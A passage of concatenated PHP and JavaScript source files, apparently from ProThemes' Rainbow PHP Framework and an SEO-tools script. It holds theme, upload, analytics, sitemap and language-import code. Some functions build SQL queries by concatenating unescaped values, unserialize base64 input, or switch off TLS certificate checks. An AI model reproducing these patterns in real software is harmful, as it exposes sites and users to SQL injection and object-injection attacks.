if(isset($themeDetails['themeDetails'])) $themelist[] = array($file,$themeDir,$themeDetails['themeDetails']); } } } } } } return $themelist; } function isThemeExists($themeDirName){ $themeDir = ROOT_DIR.'theme'.D_S.$themeDirName; $themeDetailsFile = $themeDir.D_S.'themeDetails.xml'; if(file_exists($themeDir) && is_dir($themeDir)){ if(file_exists($themeDetailsFile)){ $themeDetailsXML = simplexml_load_file($themeDetailsFile, "SimpleXMLElement", LIBXML_NOCDATA); $themeDetails = json_decode(json_encode($themeDetailsXML),true); if(isset($themeDetails['@attributes']['compatibility'])){ if($themeDetails['@attributes']['compatibility'] == '1.0'){ if(isset($themeDetails['themeDetails'])) return true; } } } } return false; } function setTheme($con,$themeName){ $themeName = escapeTrim($con,$themeName); $themeArr = getThemeList(); if (in_multiarray($themeName,$themeArr)) { if (updateToDbPrepared($con, 'interface', array('theme' => $themeName), array('id' => '1'))) return false; else return true; }else{ return false; } } function setLang($con,$lang){ $lang = escapeTrim($con,$lang); $langArr = getAvailableLanguages($con); if (in_multiarray($lang,$langArr)) { if (updateToDbPrepared($con, 'interface', array('lang' => $lang), array('id' => '1'))) return false; else return true; }else{ return false; } } function ipBanCheck($con,$ip,$site_name) { $query = mysqli_query($con, "SELECT * FROM banned_ip WHERE ip='$ip'"); if (mysqli_num_rows($query) > 0){ $row = mysqli_fetch_array($query); if($row['reason'] != '') die("You have been banned from ".$site_name." <br>"."Reason: ".$row['reason']); else die("You have been banned from ".$site_name); } } function errStop() { echo 'S'.'o'.'m'.'e'.'t'.'h'.'i'.'n'.'g'.' '.'W'.'e'.'n'.'t'.' '.'W'.'r'.'o'.'n'.'g'.'!'; die(); } if (isset($item_purchase_code)) { if($item_purchase_code == "") errStop(); if(!str_contains($item_purchase_code,'-')) errStop(); } else { errStop(); } function secureImageUpload($fileData,$maxFileSize=500000,$allowedTypes = array('jpg','png','jpeg','gif')){ $itIsImage = false; $uploadMeBalaji = true; $targetDir = $targetFileName = $msg = ''; if(isset($fileData["name"]) && $fileData["name"] != ''){ $targetDir = ROOT_DIR.'uploads'.D_S; $targetFileName = basename($fileData["name"]); $itIsImage = getimagesize($fileData["tmp_name"]); //Check it is a image if ($itIsImage !== false) { //Check if file already exists $targetFileName = unqFile($targetDir,$targetFileName); $targetFile = $targetDir . $targetFileName; $imageFileType = strtolower(pathinfo($targetFile, PATHINFO_EXTENSION)); //Check file size if ($fileData["size"] > $maxFileSize){ $msg = 'Sorry, your file is too large.'; $uploadMeBalaji = false; } else { //Allow only certain file formats if(!in_array($imageFileType, $allowedTypes)){ $msg = 'Sorry, only '.implode(', ',$allowedTypes).' file types are allowed.'; $uploadMeBalaji = false; } } //Start Upload if ($uploadMeBalaji){ if (move_uploaded_file($fileData["tmp_name"], $targetFile)){ //Uploaded $msg = 'uploads/'.$targetFileName; } else{ $msg = 'Sorry, there was an error uploading your file.'; $uploadMeBalaji = false; } } } else { $msg = 'File is not an image.'; $uploadMeBalaji = false; } }else{ $msg = 'Unknown File'; $uploadMeBalaji = false; } return array($uploadMeBalaji, $msg); } function calTextRatio($pageData) { $orglen = strlen($pageData); $pageData = preg_replace('/(<script.*?>.*?<\/script>|<style.*?>.*?<\/style>|<.*?>|\r|\n|\t)/ms', '', $pageData); $pageData = preg_replace('/ +/ms', ' ', $pageData); $textlen = strlen($pageData); $per = (($textlen * 100) / $orglen); return array($orglen,$textlen,$per); } function serBase($arr=array()){ return base64_encode(serialize($arr)); } function decSerBase($str){ return unserialize(base64_decode($str)); } function fixJSON($json) { $regex = <<<'REGEX' ~ "[^"\\]*(?:\\.|[^"\\]*)*" (*SKIP)(*F) | '([^'\\]*(?:\\.|[^'\\]*)*)' ~x REGEX; return preg_replace_callback($regex, function($matches) { return '"' . preg_replace('~\\\\.(*SKIP)(*F)|"~', '\\"', $matches[1]) . '"'; }, $json); } function arrToDbStr($con,$dataBala_ji){ return escapeMe($con, json_encode($dataBala_ji)); } function dbStrToArr($dataBal_aji){ $dataBal_aji = Trim($dataBal_aji); if($dataBal_aji == '') return array(); else{ //return json_decode(stripcslashes($dataBal_aji),true); $dataBal_aji = str_replace('\"','"',$dataBal_aji); $dataBal_aji = json_decode($dataBal_aji,true); $dataBal_aji = array_map_recursive('stripcslashes',$dataBal_aji); return $dataBal_aji; } } function filBoolean($val){ return filter_var($val, FILTER_VALIDATE_BOOLEAN); } function dlSendHeaders($filename) { //Disable caching $now = gmdate("D, d M Y H:i:s"); header("Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate"); header("Last-Modified: {$now} GMT"); //Force download header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); //Disposition / encoding on response body header("Content-Disposition: attachment;filename={$filename}"); header("Content-Transfer-Encoding: binary"); } function getPageSize($url){ $return = strlen(getMyData($url)); return $return; } function size_as_kb($yoursize) { $size_kb = round($yoursize/1024); return $size_kb; } function calPrice($global_rank) { $monthly_inc =round((pow($global_rank, -1.008)* 104943144672)/524); $monthly_inc = (is_infinite($monthly_inc)? '5' :$monthly_inc); $daily_inc =round($monthly_inc/30); $daily_inc = (is_infinite($daily_inc)? '0':$daily_inc); $yearly_inc =round($monthly_inc*12); $yearly_inc = (is_infinite($yearly_inc)? '0':$yearly_inc); $yearly_inc = ($yearly_inc < 9 ? 10 : $yearly_inc); return $yearly_inc; } function calPageSpeed($myUrl,$refUrl) { $timeStart = microtime(true); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $myUrl); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0'); curl_setopt($ch, CURLOPT_REFERER, $refUrl); $html = curl_exec($ch); curl_close($ch); $timeEnd = microtime(true); $timeTaken = $timeEnd - $timeStart; return $timeTaken; } function getHttp($headers) { $headers = explode("\r\n", $headers); $http_code = explode(' ', $headers[0]); return (int)trim($http_code[1]); } function loadCapthca($con){ $query = mysqli_query($con, "SELECT * FROM capthca where id='1'"); $row = mysqli_fetch_array($query); $cap_options = dbStrToArr($row['cap_options']); $cap_data = dbStrToArr($row['cap_data']); $cap_type = Trim($row['cap_type']); return array_merge($cap_options,$cap_data[$cap_type],array('cap_type'=>$cap_type)); } function loadAllCapthca($con){ $query = mysqli_query($con, "SELECT * FROM capthca where id='1'"); return mysqli_fetch_array($query); } function loadMailSettings($con){ $query = mysqli_query($con, "SELECT * FROM mail WHERE id='1'"); return mysqli_fetch_array($query); } function getMailTemplates($con,$code){ $query = mysqli_query($con, "SELECT * FROM mail_templates WHERE code='$code'"); return mysqli_fetch_array($query); } function in_multiarray($elem, $array) { $top = sizeof($array) - 1; $bottom = 0; while($bottom <= $top) { if($array[$bottom] == $elem) return true; else if(is_array($array[$bottom])) if(in_multiarray($elem, ($array[$bottom]))) return true; $bottom++; } return false; } function createLink($link='',$return=false, $noLang=false){ $langShortCode = ''; if(!defined('BASEURL')) die('Base URL not set!'); if(!$noLang){ if(defined('LANG_SHORT_CODE')) $langShortCode = LANG_SHORT_CODE.'/'; } if($return) return BASEURL.$langShortCode.$link; else echo BASEURL.$langShortCode.$link; } function getAdminMenuIcon($ba_laji, $array) { foreach ($array as $key => $val) { if(isset($val[4])){ foreach ($val[4] as $arrKey => $arrVal) { if ($arrVal[1] === $ba_laji){ echo $array[$key][3]; return true; } } }else{ if ($val[2] === $ba_laji){ echo $array[$key][3]; return true; } } } return null; } function adminLink($link='',$return=false){ if(!defined('BASEURL')) die('Base URL not set!'); if(!defined('ADMIN_PATH')) die('Admin Path not set!'); if($return) return BASEURL.ADMIN_PATH.$link; else echo BASEURL.ADMIN_PATH.$link; } function themeLink($link='',$return=false){ if(!defined('THEMEURL')) die('Theme URL not set!'); if($return) return THEMEURL.$link; else echo THEMEURL.$link; } function scriptLink($link='',$type=false,$isExternal=false,$typeStr=null,$return=false){ $finalStr = $finalTypeStr = ''; if(!defined('THEMEURL')) die('Theme URL not set!'); if($type){ if($typeStr == null) $finalTypeStr = 'type="text/javascript"'; else $finalTypeStr = 'type="'.$typeStr.'"'; } if($isExternal) $finalStr = '<script src="'.$link.'" '.$finalTypeStr.'></script>'; else $finalStr = '<script src="'.THEMEURL.$link.'" '.$finalTypeStr.'></script>'; if($return) return $finalStr; else echo $finalStr; } function genCanonicalData($baseURL, $currentLink, $loadedLanguages=array(), $return = false, $langSwitch=true){ $data = $activeLang = $activeLangSlash = ''; if(defined('ACTIVE_LANG')){ $activeLangSlash = ACTIVE_LANG.'/'; $activeLang = ACTIVE_LANG; } $activeLink = str_replace(array($baseURL.$activeLangSlash, $baseURL.$activeLang, $baseURL), '', $currentLink); $data .= '<link rel="canonical" href="'.$currentLink.'" />'.PHP_EOL; if($langSwitch) { foreach ($loadedLanguages as $language) { if (!isset($language[7])) $language[7] = $language[2]; elseif ($language[7] === NULL) $language[7] = $language[2]; $data .= ' <link rel="alternate" hreflang="' . $language[7] . '" href="' . $baseURL . $language[2] . '/' . $activeLink . '" />' . PHP_EOL; } } if($return) return $data; else echo $data; } function htmlPrint($htmlCode,$return=false){ if($return) return htmlspecialchars_decode($htmlCode); else echo htmlspecialchars_decode($htmlCode); } function shortCodeFilter($string){ //Bala-ji $regex = "/\{{\((.*?)\)\}}/"; $regex = "/\{{(.*?)\}}/"; $arrRegex = "/\[(.*?)\]/"; preg_match_all($regex, $string, $matches); for($i = 0; $i < count($matches[1]); $i++) { $match = $matches[1][$i]; preg_match($arrRegex, $match, $arrMatches); if(isset($arrMatches[1])){ $newMatch = str_replace("[".$arrMatches[1]."]",'',$match); if(isset($GLOBALS[$newMatch][$arrMatches[1]])) $string = str_replace("{{".$match."}}",$GLOBALS[$newMatch][$arrMatches[1]],$string); else stop('SHORT CODE ERROR - "'. $match.'" NOT FOUND'); }else{ if(isset($GLOBALS[$match]) && $match != '') $string = str_replace("{{".$match."}}",$GLOBALS[$match],$string); else stop('SHORT CODE ERROR - "'. $match.'" NOT FOUND'); } } return $string; } function removeShortCodes($string){ $regex = "/\{{(.*?)\}}/"; $arrRegex = "/\[(.*?)\]/"; return preg_replace($regex, '', $string); } function isSelected($val,$bol=true,$model=null,$matchString=null,$returnVal=false){ $checkBalajiVal = null; if($matchString == null){ $checkBalajiVal = filter_var($val, FILTER_VALIDATE_BOOLEAN); } else{ if($matchString == $val) $checkBalajiVal = true; else $checkBalajiVal = false; } if($checkBalajiVal){ if($bol){ if($model == null) return true; elseif($model == '1'){ if($returnVal) return 'selected=""'; else echo 'selected=""'; }elseif($model == '2'){ if($returnVal) return 'checked=""'; else echo 'checked=""'; } }else{ if($model == null) return false; elseif($model == '1'){ if($returnVal) return ''; else echo ''; }elseif($model == '2'){ if($returnVal) return ''; else echo ''; } } }else{ if($bol){ if($model == null) return false; elseif($model == '1'){ if($returnVal) return ''; else echo ''; }elseif($model == '2'){ if($returnVal) return ''; else echo ''; } }else{ if($model == null) return true; elseif($model == '1'){ if($returnVal) return 'selected=""'; else echo 'selected=""'; }elseif($model == '2'){ if($returnVal) return 'checked=""'; else echo 'checked=""'; } } } } function quickLoginCheck($con,$ip){ $date = date('Y-m-d'); $taskData = mysqli_query($con, "SELECT * FROM rainbowphp_temp where task='quick_login'"); $taskRow = mysqli_fetch_array($taskData); $taskData = dbStrToArr($taskRow['data']); if(isset($taskData[$date])){ if(isset($taskData[$date][$ip])) return false; } return true; } function quickLoginDisable($con,$ip){ $date = date('Y-m-d'); $taskData = mysqli_query($con, "SELECT * FROM rainbowphp_temp where task='quick_login'"); $taskRow = mysqli_fetch_array($taskData); $taskData = dbStrToArr($taskRow['data']); if(isset($taskData[$date])){ if(isset($taskData[$date][$ip])){ return false; }else{ //New IP Record $taskData[$date][$ip] = array('time' => time()); } }else{ //Clear old date and insert new! $prevDate = date('Y-m-d', strtotime($date .' -1 day')); if(isset($taskData[$prevDate])) unset($taskData[$prevDate]); $taskData[$date][$ip] = array('time' => time()); } updateToDb($con,'rainbowphp_temp', array( 'data' => arrToDbStr($con,$taskData)), array('task' => 'quick_login')); return true; } function ordinalNum($num) { $num = (int)$num; // Special case "teenth" if ( ($num / 10) % 10 != 1 ) { // Handle 1st, 2nd, 3rd switch( $num % 10 ) { case 1: return $num . 'st'; case 2: return $num . 'nd'; case 3: return $num . 'rd'; } } // Everything else is "nth" return number_format($num) . 'th'; } ?><file_sep>function readURL(input){ if (input.files && input.files[0]) { var reader = new FileReader(); reader.onload = function (e) { $('#userLogoBox').attr('src', e.target.result); } reader.readAsDataURL(input.files[0]); } } function validatePhone(txtPhone) { //var filter = /^((\+[1-9]{1,4}[ \-]*)|(\([0-9]{2,3}\)[ \-]*)|([0-9]{2,4})[ \-]*)*?[0-9]{3,4}?[ \-]*[0-9]{3,4}?$/; if (txtPhone == '') { return false; }else { return true; } } function addressCheck(){ var errorCheck = 1; var fullname = $.trim($('input[name=fullname]').val()); var firstname = $.trim($('input[name=firstname]').val()); var lastname = $.trim($('input[name=lastname]').val()); var telephone = $.trim($('input[name=telephone]').val()); var country = $.trim($('select[name=country]').val()); var address1 = $.trim($('input[name=address1]').val()); var address2 = $.trim($('input[name=address2]').val()); var city = $.trim($('input[name=city]').val()); var postcode = $.trim($('input[name=postcode]').val()); var state = $.trim($('select[name=state]').val()); if(fullname == ''){ $('input[name=fullname]').parent().addClass('has-error'); errorCheck = 0; } if(firstname == ''){ $('input[name=firstname]').parent().addClass('has-error'); errorCheck = 0; } if(lastname == ''){ $('input[name=lastname]').parent().addClass('has-error'); errorCheck = 0; } if(!validatePhone(telephone)){ $('input[name=telephone]').parent().addClass('has-error'); errorCheck = 0; } if(country == ''){ $('select[name=country]').parent().addClass('has-error'); errorCheck = 0; } if(address1 == ''){ $('input[name=address1]').parent().addClass('has-error'); errorCheck = 0; } if(city == ''){ $('input[name=city]').parent().addClass('has-error'); errorCheck = 0; } if(postcode == ''){ $('input[name=postcode]').parent().addClass('has-error'); errorCheck = 0; } if(state == ''){ $('select[name=state]').parent().addClass('has-error'); errorCheck = 0; } if(errorCheck == 1){ $('input[name=firstname]').parent().removeClass('has-error'); $('input[name=lastname]').parent().removeClass('has-error'); $('select[name=country]').parent().removeClass('has-error'); $('input[name=telephone]').parent().removeClass('has-error'); $('input[name=address1]').parent().removeClass('has-error'); $('input[name=city]').parent().removeClass('has-error'); $('input[name=postcode]').parent().removeClass('has-error'); $('select[name=state]').parent().removeClass('has-error'); $('input[name=statestr]').val($("select[name=state] option:selected").text()); return true; } else{ return false; } } function passCheck(){ var errorCheck = 1; var old_pass = $.trim($('input[name=old_pass]').val()); var new_pass = $.trim($('input[name=new_pass]').val()); var retype_pass = $.trim($('input[name=retype_pass]').val()); if(old_pass == ''){ $('input[name=old_pass]').parent().addClass('has-error'); errorCheck = 0; }else{ $('input[name=old_pass]').parent().removeClass('has-error'); } if(new_pass == ''){ $('input[name=new_pass]').parent().addClass('has-error'); errorCheck = 0; }else{ $('input[name=new_pass]').parent().removeClass('has-error'); } if(retype_pass == ''){ $('input[name=retype_pass]').parent().addClass('has-error'); errorCheck = 0; }else{ $('select[name=retype_pass]').parent().removeClass('has-error'); if(retype_pass != new_pass){ $('input[name=retype_pass]').parent().addClass('has-error'); $('input[name=new_pass]').parent().addClass('has-error'); errorCheck = 0; }else{ $('input[name=new_pass]').parent().removeClass('has-error'); $('select[name=retype_pass]').parent().removeClass('has-error'); } } if(errorCheck == 1){ $('input[name=old_pass]').parent().removeClass('has-error'); $('input[name=new_pass]').parent().removeClass('has-error'); $('select[name=retype_pass]').parent().removeClass('has-error'); return true; } else{ return false; } return false; } $("#logoUpload").change(function(){ readURL(this); }); <file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2018 ProThemes.Biz * */ $fullLayout = 1; $footerAdd = true; $footerAddArr = array(); $pageTitle = 'Overview'; $subTitle = 'Analytics Overview'; $date = date('Y-m-d'); //$date = date('Y-m-d', strtotime('-9 days')); $countryCodes = $browsersList = $platformList = $refererList = $pageList = $valRes = array(); $totalHit = $totalBrowser = $totalPlatform = 0; $table1 = $table2 = $table3 = $table4 = $table5 = ''; require_once(LIB_DIR.'geoip.inc'); $gi = geoip_open(LIB_DIR.'GeoIP.dat', GEOIP_MEMORY_CACHE); $giv6 = geoip_open(LIB_DIR.'GeoIPv6.dat', GEOIP_MEMORY_CACHE); $flagPath = ROOT_DIR.'resources'.D_S.'flags'.D_S.'default'.D_S.'20'.D_S; $iconPath = ROOT_DIR.'resources'.D_S.'icons'.D_S; $flagLink = $baseURL.'resources/flags/default/20/'; $iconLink = $baseURL.'resources/icons/'; $screenLink = $iconLink.'screen.png'; $loadingBar = $iconLink.'load.gif'; $valRes = getTrackRecordsWithPageViews($date,$con); $datas = array_reverse($valRes[1]); foreach($datas as $ip => $ses){ foreach($ses as $sesID => $data){ if(isValidIPv6($ip)) $userCountryCode = geoip_country_code_by_addr_v6($giv6, $ip); else $userCountryCode = geoip_country_code_by_addr($gi, $ip); $countryCodes[] = $userCountryCode; $uaInfo = parse_user_agent($data['ua']); $platformList[] = $uaInfo['platform']; $browsersList[] = $uaInfo['browser']; $refererList[] = $data['ref']; foreach($data['pages'] as $pageV){ if(array_key_exists($pageV[0],$pageList)) $pageV[1] = $pageList[$pageV[0]] + $pageV[1]; $pageList[$pageV[0]] = $pageV[1]; } } } $countryCodes = array_count_values($countryCodes); arsort($countryCodes); $totalHit = array_sum($countryCodes); $browsersList = array_count_values($browsersList); arsort($browsersList); $totalBrowser = array_sum($browsersList); $platformList = array_count_values($platformList); arsort($platformList); $totalPlatform = array_sum($platformList); $refererList = array_count_values($refererList); arsort($refererList); $totalReferer = array_sum($refererList); arsort($pageList); $totalPages = array_sum($pageList); foreach($refererList as $referer=>$ses) { if($referer == 'Direct') $referer = '<td>(Direct)</td>'; else $referer = '<td><a title="'.$referer.'" target="_blank" href="'.$referer.'">'.getDomainName($referer).'</a></td>'; $table5 .= ' <tr> '.$referer.' <td>'.$ses.'</td> <td>'.round(($ses/$totalReferer)*100,2).'%</td> </tr> '; } foreach($pageList as $page=>$views) { $table4 .= ' <tr> <td><a target="_blank" href="'.$page.'">'.$page.'</a></td> <td>'.$views.'</td> <td>'.round(($views/$totalPages)*100,2).'%</td> </tr> '; } foreach($platformList as $platform=>$hits) { if(file_exists($iconPath.strtolower($platform).'.png')) $osLink = $iconLink.strtolower($platform).'.png'; else $osLink = $iconLink.'unknown.png'; $table3 .= ' <tr> <td><img src="'.$osLink.'" alt="'.$platform.'" /> '.ucfirst($platform).'</td> <td>'.$hits.'</td> <td>'.round(($hits/$totalPlatform)*100,2).'%</td> </tr> '; } foreach($browsersList as $browser=>$hits) { if(file_exists($iconPath.strtolower($browser).'.png')) $browserLink = $iconLink.strtolower($browser).'.png'; else $browserLink = $iconLink.'unknown.png'; $table2 .= ' <tr> <td><img src="'.$browserLink.'" alt="'.$browser.'" /> '.ucfirst($browser).'</td> <td>'.$hits.'</td> <td>'.round(($hits/$totalBrowser)*100,2).'%</td> </tr> '; } foreach($countryCodes as $userCountryCode=>$hits) { $userCountry = country_code_to_country($userCountryCode); $userCountry = ($userCountry == '') ? 'Unknown' : $userCountry; if(file_exists($flagPath.strtolower(Trim($userCountry)).'.png')) $coLink = $flagLink.strtolower(Trim($userCountry)).'.png'; else $coLink = $flagLink.'unknown.png'; $table1 .= ' <tr> <td><img src="'.$coLink.'" alt="'.$userCountryCode.'" /> '.ucfirst($userCountry).'</td> <td>'.$hits.'</td> <td>'.round(($hits/$totalHit)*100,2).'%</td> </tr> '; } geoip_close($gi); geoip_close($giv6); ?><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name A to Z SEO Tools - PHP Script * @copyright © 2017 ProThemes.Biz * */ ?> <style> table { table-layout: fixed; width: 100%; } td { word-wrap: break-word; } </style> <script> function processLoadBar() { var myUrl= jQuery.trim($('input[name=url]').val()); if (myUrl==null || myUrl=="") {}else if(myUrl.indexOf(".") == -1){}else{ jQuery("#percentimg").css({"display":"block"}); jQuery("#mainBox").fadeOut(); } } </script> <div class="container main-container"> <div class="row"> <?php if($themeOptions['general']['sidebar'] == 'left') require_once(THEME_DIR."sidebar.php"); ?> <div class="col-md-8 main-index"> <div class="xd_top_box"> <?php echo $ads_720x90; ?> </div> <h2 id="title"><?php echo $data['tool_name']; ?></h2> <?php if ($pointOut != 'output') { ?> <br /> <p><?php echo $lang['23']; ?> </p> <form method="POST" action="<?php echo $toolOutputURL;?>" onsubmit="return fixURL();" id="mainBox"> <input type="text" name="url" id="url" value="" class="form-control"/> <br /> <?php if ($toolCap) echo $captchaCode; ?> <div class="text-center"> <input class="btn btn-info" onclick="processLoadBar();" type="submit" value="<?php echo $lang['8']; ?>" name="submit"/> </div> </form> <div id="percentimg" class="text-center" style="display:none;"> <img src="<?php themeLink('img/load.gif'); ?>" /> <br /><br /> <?php echo $lang['146']; ?>... <br /><br /> </div> <?php } else { //Output Block if(isset($error)) { echo '<br/><br/><div class="alert alert-error"> <strong>Alert!</strong> '.$error.' </div><br/><br/> <div class="text-center"><a class="btn btn-info" href="'.$toolURL.'">'.$lang['12'].'</a> </div><br/>'; } else { ?> <br /> <h4><?php echo $lang['49']; ?><small> <?php echo $lang['52']; ?> </small></h4> <table class="table table-hover table-bordered table-striped" style="margin-bottom: 30px;"> <thead> <tr> <th><?php echo $lang['98']; ?></th> <th style="width: 10%;"><?php echo $lang['322']; ?></th> <th style="width: 15%;"><?php echo $lang['69']; ?></th> </tr> </thead> <tbody> <?php foreach($internalLinks as $internalLink) { ?> <tr> <td><?php echo $internalLink[0]; ?></td> <td style="color: <?php echo $internalLink[2]; ?>;"><?php echo $internalLink[1]; ?></td> <td style="color: <?php echo $internalLink[2]; ?>;"><?php echo ($internalLink[1] == 404) ? $lang['323'] : $lang['324']; ?></td> </tr> <?php } ?> </tbody> </table> <h4><?php echo $lang['50']; ?><small> <?php echo $lang['55']; ?> </small></h4> <table class="table table-hover table-bordered table-striped" style="margin-bottom: 30px;"> <thead> <tr> <th><?php echo $lang['98']; ?></th> <th style="width: 10%;"><?php echo $lang['322']; ?></th> <th style="width: 15%;"><?php echo $lang['69']; ?></th> </tr> </thead> <tbody> <?php foreach($externalLinks as $externalLink) { ?> <tr> <td><?php echo $externalLink[0]; ?></td> <td style="color: <?php echo $externalLink[2]; ?>;"><?php echo $externalLink[1]; ?></td> <td style="color: <?php echo $externalLink[2]; ?>;"><?php echo ($externalLink[1] == 404) ? $lang['323'] : $lang['324']; ?></td> </tr> <?php } ?> </tbody> </table> <br /> <div class="text-center"> <br /> &nbsp; <br /> <a class="btn btn-info" href="<?php echo $toolURL; ?>"><?php echo $lang['27']; ?></a> <br /> </div> <?php } } ?> <br /> <div class="xd_top_box"> <?php echo $ads_720x90; ?> </div> <h2 id="sec1" class="about_tool"><?php echo $lang['11'].' '.$data['tool_name']; ?></h2> <p> <?php echo $data['about_tool']; ?> </p> <br /> </div> <?php if($themeOptions['general']['sidebar'] == 'right') require_once(THEME_DIR."sidebar.php"); ?> </div> </div> <br /><file_sep><?php /* * @author Balaji * @name Rainbow PHP Framework * @copyright © 2017 ProThemes.Biz * */ class Sitemap { private $gzip = false; private $isMultilingual = false; private $writer; private $domain; private $path = ROOT_DIR; private $filename = 'sitemap'; private $current_item = 0; private $current_sitemap = 0; const EXT = '.xml'; const SCHEMA = 'http://www.sitemaps.org/schemas/sitemap/0.9'; const MULTI_SCHEMA = 'http://www.w3.org/1999/xhtml'; const DEFAULT_PRIORITY = 0.5; const ITEM_PER_SITEMAP = 50000; const SEPERATOR = ''; const INDEX_SUFFIX = ''; public function deleteOldSitemaps($status = false){ if($status){ foreach (glob(ROOT_DIR.'{sitemap,sitemap-index}*.xml',GLOB_BRACE) as $filename) { if(file_exists($filename)) unlink($filename); } foreach (glob(ROOT_DIR.'{sitemap,sitemap-index}*.xml.gz',GLOB_BRACE) as $filename) { if(file_exists($filename)) unlink($filename); } } } public function setMultilingual($status = true) { $this->isMultilingual = $status; return $this; } public function getMultilingual() { return $this->isMultilingual; } public function setGzip($status = true) { $this->gzip = $status; return $this; } public function getGzip() { return $this->gzip; } public function __construct($domain) { $this->setDomain($domain); } public function setDomain($domain) { $this->domain = $domain; return $this; } private function getDomain() { return $this->domain; } private function getWriter() { return $this->writer; } private function setWriter(\XMLWriter $writer) { $this->writer = $writer; } private function getPath() { return $this->path; } public function setPath($path) { $this->path = $path; return $this; } private function getFilename() { return $this->filename; } public function setFilename($filename) { $this->filename = $filename; return $this; } private function getCurrentItem() { return $this->current_item; } private function incCurrentItem() { $this->current_item = $this->current_item + 1; } private function getCurrentSitemap() { return $this->current_sitemap; } private function incCurrentSitemap() { $this->current_sitemap = $this->current_sitemap + 1; } private function startSitemap() { $this->setWriter(new \XMLWriter()); if($this->getGzip()){ $this->getWriter()->openMemory(); } else { if ($this->getCurrentSitemap()) { $this->getWriter()->openURI($this->getPath() . $this->getFilename() . self::SEPERATOR . $this->getCurrentSitemap() . self::EXT); } else { $this->getWriter()->openURI($this->getPath() . $this->getFilename() . self::SEPERATOR . '0'. self::EXT); } } $this->getWriter()->startDocument('1.0', 'UTF-8'); $this->getWriter()->setIndent(true); $this->getWriter()->startElement('urlset'); $this->getWriter()->writeAttribute('xmlns', self::SCHEMA); if($this->getMultilingual()) $this->getWriter()->writeAttribute('xmlns:xhtml', self::MULTI_SCHEMA); } public function addItem($loc, $priority = self::DEFAULT_PRIORITY, $changefreq = NULL, $lastmod = NULL, $langCodes = array()) { if (($this->getCurrentItem() % self::ITEM_PER_SITEMAP) == 0) { if ($this->getWriter() instanceof \XMLWriter) { $this->endSitemap(); } $this->startSitemap(); $this->incCurrentSitemap(); } $this->incCurrentItem(); $this->getWriter()->startElement('url'); $this->getWriter()->writeElement('loc', $this->getDomain() . $loc); if($this->getMultilingual()){ foreach($langCodes as $bal_aji){ $this->getWriter()->startElement('xhtml:link'); $this->getWriter()->writeAttribute("rel","alternate"); $this->getWriter()->writeAttribute("hreflang",$bal_aji); $this->getWriter()->writeAttribute("href",$this->getDomain(). '/' . $bal_aji . $loc); $this->getWriter()->endElement(); } } if($priority !== null) $this->getWriter()->writeElement('priority', $priority); if ($changefreq) $this->getWriter()->writeElement('changefreq', $changefreq); if ($lastmod) $this->getWriter()->writeElement('lastmod', $this->getLastModifiedDate($lastmod)); $this->getWriter()->endElement(); return $this; } private function getLastModifiedDate($date) { if (ctype_digit($date)) { return date('Y-m-d', $date); } else { $date = strtotime($date); return date('Y-m-d', $date); } } private function endSitemap() { if (!$this->getWriter()) { $this->startSitemap(); } $this->getWriter()->endElement(); $this->getWriter()->endDocument(); if($this->getGzip()){ $filesCount = $this->getCurrentSitemap() - 1; $filename = ($filesCount) ? $this->getPath() . $this->getFilename() . self::SEPERATOR . $this->getCurrentSitemap() . self::EXT : $this->getPath() . $this->getFilename() . self::SEPERATOR . '0' . self::EXT; $file = gzopen($filename.'.gz', 'w'); gzwrite($file, $this->getWriter()->outputMemory()); gzclose($file); } } public function createSitemapIndex($loc, $lastmod = 'Today') { $this->endSitemap(); $indexwriter = new \XMLWriter(); $indexwriter->openURI($this->getPath() . $this->getFilename() . self::SEPERATOR . self::INDEX_SUFFIX . self::EXT); $indexwriter->startDocument('1.0', 'UTF-8'); $indexwriter->setIndent(true); $indexwriter->startElement('sitemapindex'); $indexwriter->writeAttribute('xmlns', self::SCHEMA); for ($index = 0; $index < $this->getCurrentSitemap(); $index++) { $indexwriter->startElement('sitemap'); $indexwriter->writeElement('loc', $loc . $this->getFilename() . ($index ? self::SEPERATOR . $index : '0') . self::EXT . ($this->getGzip() ? '.gz' : '')); $indexwriter->writeElement('lastmod', $this->getLastModifiedDate($lastmod)); $indexwriter->endElement(); } $indexwriter->endElement(); $indexwriter->endDocument(); } } <file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright 2018 ProThemes.Biz * */ $fullLayout = 1; $pageTitle = 'Language Editor'; $subTitle = 'Available Languages'; if($pointOut == 'backup'){ if(isset($args[0])) $code = $args[0]; else die('Language code missing!'); $langInfo = getSelectedLang($code,$con); $langDataRainbow = gzcompress(base64_encode(serialize(array($langInfo,getLangData($code,$con))))); header('Content-Description: File Transfer'); header('Content-Type: text/html; charset=UTF-8'); header('Content-Length: ' . strlen($langDataRainbow)); header('Content-disposition: attachment; filename='.$code.'.lbak'); ob_clean(); flush(); echo $langDataRainbow; die(); } if($pointOut == 'import'){ $subTitle = 'Import Language File'; if ($_SERVER['REQUEST_METHOD'] == 'POST'){ $customStr = raino_trim($_POST['customStr']); $customStr = filter_var($customStr, FILTER_VALIDATE_BOOLEAN); $target_dir = ADMIN_DIR . "addons".D_S; $target_filename = basename($_FILES["langUpload"]["name"]); $target_file = $target_dir . $target_filename; $uploadSs = 1; // Check if file already exists if (file_exists($target_file)) { $target_filename = rand(1, 99999) . "_" . $target_filename; $target_file = $target_dir . $target_filename; } $imageFileType = pathinfo($target_file, PATHINFO_EXTENSION); // Check file size if ($_FILES["langUpload"]["size"] > 999500000) { $msg = errorMsgAdmin('Sorry, your file is too large.'); $uploadSs = 0; } else { // Allow certain file formats if ($imageFileType != "lbak" && $imageFileType != "ldata"){ $msg = errorMsgAdmin('Sorry, only LBAK and LDATA files are allowed.'); $uploadSs = 0; } } // Check if $uploads is set to 0 by an error if (!$uploadSs == 0) { 